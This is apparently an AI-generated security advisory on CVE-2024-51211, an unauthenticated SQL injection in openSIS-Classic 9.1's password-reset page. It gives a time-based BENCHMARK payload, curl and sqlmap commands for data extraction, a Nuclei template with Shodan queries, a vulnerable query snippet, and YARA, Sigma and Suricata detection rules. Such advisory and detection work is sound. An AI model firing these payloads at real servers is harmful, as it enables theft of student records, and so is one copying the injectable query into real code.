CVE-2024-51211

Executive Summary

CVE-2024-51211 is a critical SQL injection vulnerability discovered in OS4ED openSIS-Classic Version 9.1. The flaw resides in the resetuserinfo.php file, where the $username_stn_id parameter is improperly sanitized, allowing an attacker to inject arbitrary SQL commands. This vulnerability can be exploited remotely without authentication, leading to full compromise of the database, including data exfiltration, modification, or denial of service. A public proof-of-concept (PoC) exists via a Nuclei template, and the vulnerability is considered unpatched as of the latest advisory.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on all three security pillars. An unauthenticated attacker can execute arbitrary SQL queries, potentially dumping the entire database, modifying user credentials, or causing a denial of service via time-based payloads.

Deep Dive & Mechanics

The vulnerability exists in the resetuserinfo.php script, which is part of the password reset functionality in openSIS-Classic. The script accepts a username_stn_id parameter via GET request to identify the user account. Due to insufficient input validation, the parameter is directly concatenated into SQL queries without proper escaping or parameterization.

The attack vector is straightforward: an attacker sends a crafted HTTP GET request to /ResetUserInfo.php with a malicious username_stn_id value. The provided Nuclei template demonstrates a time-based blind SQL injection using the BENCHMARK() function to cause a measurable delay, confirming the injection point. The payload 21 OR 3720=BENCHMARK(7000000,MD5(0x6e48446e)) forces the database to execute a heavy computation, resulting in a response delay of over 7 seconds.

The underlying SQL query likely resembles:

SELECT * FROM users WHERE username_stn_id = '$username_stn_id' ...

By injecting OR 1=1 or time-based functions, an attacker can manipulate the query logic to bypass authentication or extract data.

Vulnerable vs. Patched Code

Vulnerable Code (openSIS-Classic v9.1):

// resetuserinfo.php (simplified vulnerable snippet)
$username_stn_id = $_GET['username_stn_id'];
$query = "SELECT * FROM students WHERE student_id = '$username_stn_id'";
$result = mysqli_query($conn, $query);

Patched Code (hypothetical fix):

// Use prepared statements to prevent SQL injection
$stmt = $conn->prepare("SELECT * FROM students WHERE student_id = ?");
$stmt->bind_param("s", $username_stn_id);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses parameterized queries, which separate SQL logic from data, rendering injection impossible. As of the latest advisory, no official patch has been released by OS4ED.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running openSIS-Classic v9.1
• Network access to the web server

Step 1: Verify Vulnerability Use the Nuclei template to confirm the injection:

nuclei -t CVE-2024-51211.yaml -u http://target.com

Step 2: Manual Exploitation Send a time-based payload to confirm:

curl "http://target.com/ResetUserInfo.php?user_type_form=username&uname_user_type=uname_student&username_stn_id=21+OR+3720%3dBENCHMARK(7000000,MD5(0x6e48446e))&pass=1&month_username_dob=x&day_username_dob=x&year_username_dob=x"

If the response takes >7 seconds, the injection is successful.

Step 3: Data Extraction Use sqlmap for automated exploitation:

sqlmap -u "http://target.com/ResetUserInfo.php?user_type_form=username&uname_user_type=uname_student&username_stn_id=21&pass=1&month_username_dob=x&day_username_dob=x&year_username_dob=x" --batch --dbs

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP GET requests to /ResetUserInfo.php with abnormal username_stn_id parameters containing SQL keywords (e.g., OR, AND, BENCHMARK, SLEEP).
• Look for response delays >5 seconds from the same endpoint.

Mitigation:

• Immediately apply input validation and parameterized queries.
• Restrict access to ResetUserInfo.php via WAF rules.
• Monitor database logs for suspicious queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /ResetUserInfo.php with parameters containing SQL injection patterns (e.g., BENCHMARK, SLEEP, UNION).
  • Unusually long response times (>5 seconds) from the same endpoint.
• File IOCs:
  • Modified resetuserinfo.php file (if attacker uploads a webshell).
• Database IOCs:
  • Unexpected queries in MySQL logs, especially those using BENCHMARK() or SLEEP().
  • New user accounts or modified privileges.

Detection Engineering

YARA Rule

rule CVE_2024_51211_SQLi_ResetUserInfo {
    meta:
        description = "Detects SQL injection attempts targeting openSIS Classic v9.1 ResetUserInfo.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-51211"
    strings:
        $s1 = "ResetUserInfo.php" nocase
        $s2 = "username_stn_id=" nocase
        $s3 = "BENCHMARK" nocase
        $s4 = "SLEEP" nocase
        $s5 = "OR " nocase
        $s6 = "AND " nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against openSIS Classic ResetUserInfo.php
id: 8f4a2b1c-3d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects SQL injection attempts targeting the resetuserinfo.php endpoint in openSIS Classic v9.1
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'ResetUserInfo.php'
        cs-uri-query|contains: 'username_stn_id='
    keywords:
        - 'BENCHMARK'
        - 'SLEEP'
        - 'OR '
        - 'AND '
        - 'UNION'
    condition: selection and keywords
falsepositives:
    - Legitimate use of benchmark functions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51211 SQL Injection Attempt - openSIS Classic ResetUserInfo.php"; flow:to_server,established; content:"GET"; http_method; content:"ResetUserInfo.php"; http_uri; content:"username_stn_id="; http_uri; pcre:"/(BENCHMARK|SLEEP|OR\s|AND\s|UNION)/i"; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-51211

info:
  name: openSIS Classic v9.1 - SQL Injection
  author: Haliteroglu
  severity: critical
  description: |
    SQL injection vulnerability exists in OS4ED openSIS-Classic Version 9.1, specifically in the resetuserinfo.php file. The vulnerability is due to improper input validation of the $username_stn_id parameter, which can be manipulated by an attacker to inject arbitrary SQL commands.
  impact: |
    Attackers can exploit this vulnerability to compromise system security and integrity.
  remediation: |
    Apply the latest security patches and updates to address this vulnerability.
  reference:
    - https://github.com/kutsa1/My-CVE/tree/main/CVE-2024-51211
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51211
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-51211
    cwe-id: CWE-89
    epss-score: 0.0406
    epss-percentile: 0.8856
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="openSIS"
    shodan-query: title:"openSIS"
  tags: cve,cve2024,sqli,opensis,time-based-sqli,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        GET /ResetUserInfo.php?user_type_form=username&uname_user_type=uname_student&username_stn_id=21+OR+3720%3dBENCHMARK(7000000,MD5(0x6e48446e))&pass=1&month_username_dob=x&day_username_dob=x&year_username_dob=x HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=7"
          - "contains_all(tolower(body), 'forgotpass.php', 'opensis')"
          - "status_code == 200"
        condition: and
# digest: 4b0a00483046022100d2b92305f33e6797bd10af1e87aa1a0b6cb6ef5f88925b91913a640b6f615086022100f18f95ab19c38491ab5f6298c2d06cc589d1646530fbe40b991fe91bd27f0266:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from the internet if possible.
2. Apply a WAF rule to block requests containing SQL injection patterns in the username_stn_id parameter.
3. Review database logs for any signs of compromise.

Long-term Fix:

• Upgrade to a patched version of openSIS-Classic once available.
• Implement parameterized queries (prepared statements) in all database interactions.
• Conduct a full security audit of the application.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.

{/* [Security Hash: 5BF9297F33E02470DBDB12D4] */}